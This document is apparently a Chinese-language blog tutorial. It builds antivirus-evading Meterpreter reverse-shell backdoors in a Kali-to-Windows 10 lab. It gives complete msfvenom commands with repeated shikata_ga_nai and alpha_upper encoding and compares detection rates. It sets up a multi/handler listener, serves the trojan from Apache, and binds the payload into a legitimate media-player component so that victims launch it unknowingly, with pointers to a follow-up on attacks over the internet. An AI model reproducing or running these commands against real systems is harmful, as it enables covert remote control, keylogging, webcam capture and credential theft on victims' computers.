實驗環境:
攻擊機:kali linux-2021.1(192.168.56.128)
靶機:Windows10(192.168.1.120)
推薦兩個免費在線木馬檢測網站:VirusScan和VirusTotal
原理圖:
1. Meterpreter簡介
- Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道,使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的鏈接,Meterpreter shell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統,在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。
- Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。在Metasploit Framework中,Meterpreter是一種后滲透工具,它屬於一種在運行過程中可通過網絡進行功能擴展的動態可擴展型Payload。這種工具是基於“內存DLL注入”理念實現的,它能夠通過創建一個新進程並調用注入的DLL來讓目標系統運行注入的DLL文件。其中,攻擊者與目標設備中Meterpreter的通信是通過Stager套接字實現的。meterpreter作為后滲透模塊有多種類型,並且命令由核心命令和擴展庫命令組成,極大的豐富了攻擊方式。
- 需要說明的meterpreter在漏洞利用成功后會發送第二階段的代碼和meterpreter服務器dll,所以在網絡不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之后發現缺少命令。
- Metasploit提供了各個主流平台的Meterpreter版本,包括Windows、Linux,同時支持x86、x64平台,另外,Meterpreter還提供了基於PHP和Java語言的實現。Meterpreter的工作模式是純內存的,好處是啟動隱藏,很難被殺毒軟件監測到。不需要訪問目標主機磁盤,所以也沒什么入侵的痕跡。除上述外,Meterpreter還支持Ruby腳本形式的擴展。
2. 生成shell.exe木馬文件
sudo su
使用一個編碼器:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/shell.exe
在VirusScan上檢查一下木馬程序:
可以看到總共50個查殺引擎,有25個查出了病毒,也就是說免殺率只有50%,效果一般般!
使用兩個編碼器組合編碼:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/shell2.exe
同樣在VirusScan上檢查一下木馬程序:
可以看到50個查殺軟件有15個查出來了病毒,70%的免殺率,比一次編碼的效果要好!
使用一個編碼器和兩個編碼器的區別:理論上使用兩個編碼器的免殺效果更好,但使用兩個編碼器編碼時花的時間更長,且編碼后的程序也更大。
參數介紹:
-a:指定架構如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位軟件可以在 64 位系統上運行。 所以我們生成 32 位的后門,這樣在 32 位和 64 位系統中都可以使用。 --platform:指定平台,這里選擇 windows,通過 --l platforms 可以查看所有支持的平台 -p:設置攻擊載荷,我們使用 windows/meterpreter/reverse_tcp,可以通過-l payloads 查看所 有攻擊載荷 LHOST:目標主機執行程序后連接我們 Kali 的地址 LPORT:目標主機執行程序后連接我們 Kali 的端口 -b:去掉壞字符,壞字符會影響 payload 正常執行。 擴展:\x00 代表16進制的“00”組成的字符串。通過ASCII碼換成能識別的就是:"00" - "00000000" - NUL。由於"00000000"是不可見字符,所以代碼中沒用。 -e:指定編碼器,也就是所謂的免殺,x86/shikata_ga_nai 是 msf 自帶的編碼器,可以通過 -l encoders 查看所有編碼器 -i:指定 payload 有效載荷編碼迭代次數。 指定編碼加密次數,為了讓殺毒軟件,更難查出源代碼 -f:指定生成格式,可以是 raw,exe,elf,jar,c 語言的,python 的,java 的……,用 -l formats 查看所有支持的格式 -o:指定文件名稱和導出位置。 指定到網站根目錄/var/www/html,方便在肉機上下載后門程序y
3. 在 MSF 上啟動 handler 開始監聽后門程序
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.128 set LPORT 4444 run
4. 在 Kali 上啟動 apache 為靶機提供后門程序下載
新建一個命令行終端,然后輸入:
systemctl start apache2
![]()
5. 打開 Win10 訪問 Kali 搭建的 Web 服務下載木馬文件。
- 在win10的瀏覽器中輸入 http://192.168.56.128/shell.exe 下載shell.exe木馬程序。
雙擊運行shell.exe程序:(點更多信息->仍要運行)
6. 在 MSF 終端查看建立的 session
運行完shell.exe程序,返回kali命令行中可以看到meterpreter會話已經建立成功:
接下來就可以使用meterpreter命令進行一頓亂操作了(例如 屏幕截圖,攝像頭拍照,遠程控制,獲取鍵盤信息,獲取系統信息等等)![滑稽]。戳我查看meterpreter命令大全
7. 在軟件中加入后門程序
由於制作的shell.exe文件運行是沒有任何反應的,且會被Microsoft Defender阻止應用啟動,這樣會被別人懷疑並殺掉這個進程,那么你的會話就會中斷。這個時候我們就需要將木馬程序綁定在其它軟件程序中,在別人運行其它軟件時帶着我們的木馬程序偷偷的運行,而不會被發現!
關注公眾號[人人皆是程序猿],回復【KB】獲取軟件鏈接。

下載軟件后解壓,先查看主程序會調用哪些附加的小程序,然后把后門和這些小程序綁定到一起。當然也可以直接加到主程序上,但是加主程序上,有時后會報錯。 當 QvodPlayer.exe 主程序運行時,會自動調用 QvodTerminal.exe 這個小程序。我們的目標就是將后門和QvodTerminal.exe綁定在一起!
- 將QvodTerminal.exe復制到kali中
- 打開命令行輸入:
- 生成綁定后門的QvodTerminal.exe程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
![]()
- 在靶機(win10)瀏覽器上訪問:http://192.168.56.128/QvodTerminal.exe 下載 QvodTerminal.exe,將下載的 QvodTerminal.exe 替換原文件中的 QvodTerminal.exe
- 重復第3步開啟監聽
- 雙擊運行QvodPlayer.exe就可以成功建立會話了
附:msf還可以生成 .c .py格式的攻擊載荷,在這里我就不列舉了出來!有興趣的可以自行百度。
目前滲透只能在內網里自己yy多沒意思,下面介紹msf外網滲透教程:滲透測試(二)-Metasploit生成免殺后門(外網篇)
青年時種下什么,老年時就收獲什么。
——易卜生







